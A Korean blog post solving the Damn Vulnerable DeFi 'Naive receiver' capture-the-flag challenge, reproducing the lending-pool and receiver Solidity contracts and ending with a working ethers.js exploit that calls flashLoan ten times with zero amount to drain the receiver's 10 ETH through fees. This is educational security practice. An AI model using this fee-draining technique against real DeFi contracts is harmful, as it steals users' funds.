[Damn Vulnerable DeFi] Naive receiver

0xDave·2022년 10월 20일
0

Ethereum

목록 보기
50/112

Challenge #2


There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)

한 번의 트랜잭션으로 user 컨트랙트를 탈취하자!


FlashLoanReceiver.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;

    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // Function called by the pool during flash loan
    function receiveEther(uint256 fee) public payable {
        require(msg.sender == pool, "Sender must be pool");

        uint256 amountToBeRepaid = msg.value + fee;

        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
        
        _executeActionDuringFlashLoan();
        
        // Return funds to pool
        pool.sendValue(amountToBeRepaid);
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive () external payable {}
}

sendValue

transfer 대신 사용하며 OpenZepplin에서 제공한다. 2300 gas limit을 제거한 transfer라고 생각하면 될 것 같다.

_executeActionDuringFlashLoan은 왜 있는거지..??

NaiveReceiverLenderPool.sol


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {

    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }

    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {

        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");


        require(borrower.isContract(), "Borrower must be a deployed contract");
        // Transfer ETH and handle control to receiver
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // Allow deposits of ETH
    receive () external payable {}
}

functionCallWithValue

Address에서 제공하는 함수다. call과 같은 역할을 하며, wei를 전송할 수 있고 좀 더 안전하다고 한다. 호출하는 함수는 반드시 payable이어야 하며, functionCallWithValue을 사용하는 컨트랙트에 vlaue 만큼의 이더가 있어야 한다.


해결과정


flashLoan() 에서 receiveEther 호출 이후에 balance check를 하지만 nonReentrant로 보호돼있으므로 이 지점을 공격할 수는 없을 것 같다.

naive-receiver.challenge를 살펴보면 receiver의 잔액은 0으로 만들고, pool의 잔액은 1010이 되어야 한다. 즉, FlashLoanReceiver 컨트랙트의 모든 자금을 NaiveReceiverLenderPool 컨트랙트로 보내면 된다.

    after(async function () {
        /** SUCCESS CONDITIONS */

        // All ETH has been drained from the receiver
        expect(
            await ethers.provider.getBalance(this.receiver.address)
        ).to.be.equal('0');
        expect(
            await ethers.provider.getBalance(this.pool.address)
        ).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER));
    });

첫 번째 방법

FlashLoanReceiver 컨트랙트의 모든 자금을 빼내려면 receiveEther를 여러번 호출해서 pool.sendValue(amountToBeRepaid);를 여러번 실행하면 되지 않을까? sendValue는 gas limit도 없어서 컨트랙트의 자금이 없어질 때까지 반복해서 실행될 것이다. 그런데 receiveEther()는 pool 만 호출할 수 있다. 따라서 이 방법도 패스.


두 번째 방법

또 하나 눈에 띄는 건 internal로 선언된 _executeActionDuringFlashLoan() 함수다. 외부에서 internal 함수를 호출할 수 있는 방법이 없을까? internal을 상속받아서 새로 정의하는 것은 가능해도 현재 컨트랙트에 직접적으로 호출할 수는 없다. 이것도 패스.


세 번째 방법

가장 마지막에 생각나는 것은 깔끔하진 않지만 가장 가능성이 높아 보이는 방법이다. 현재 flashLoan()을 호출할 때 borrowAmount의 값은 컨트랙트 잔고 이하이기만 하면 된다. 다시 말해서, 0도 가능하다는 얘기. 그렇다면 10번 호출해서 user의 자금을 수수료로 다 태우게 하면 되지 않을까?

처음 작성한 코드. 아직 ethers를 사용하는데 익숙치 않다. 이렇게 사용하는 게 아닌 것 같다.

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    for (let i = 0; i < 10; i++) {
      await this.pool.connect(user).flashLone(this.receiver.address, 0);
    }
  });

그 다음 작성한 코드, 이것도 실패

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    for (let i = 0; i < 10; i++) {
      await this.pool.encodeFunctionData("flashLoan", [0]);
    }
  });

이것도..? 실패

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    for (let i = 0; i < 10; i++) {
      const tx = await this.pool.flashLoan("user.address", "0", { from: user });
    }
  });

드디어 성공..! 컨트랙트 바로 뒤에 함수 이름을 작성하고 파라미터 값을 넣어주면 된다.

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    for (let i = 0; i < 10; i++) {
      await this.pool.flashLoan(this.receiver.address, 0);
    }
  });

알고보니 처음 한 방법은 오타가 나서 안 됐었던 거다. 수정 후 다시 시도 해봤는데 이것도 성공했었다. connect를 한 이후에 함수를 호출하는 거라 시간이 훨씬 오래 걸렸다.

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    for (let i = 0; i < 10; i++) {
      await this.pool.connect(user).flashLoan(this.receiver.address, 0);
    }
  });

profile
Just BUIDL :)

0개의 댓글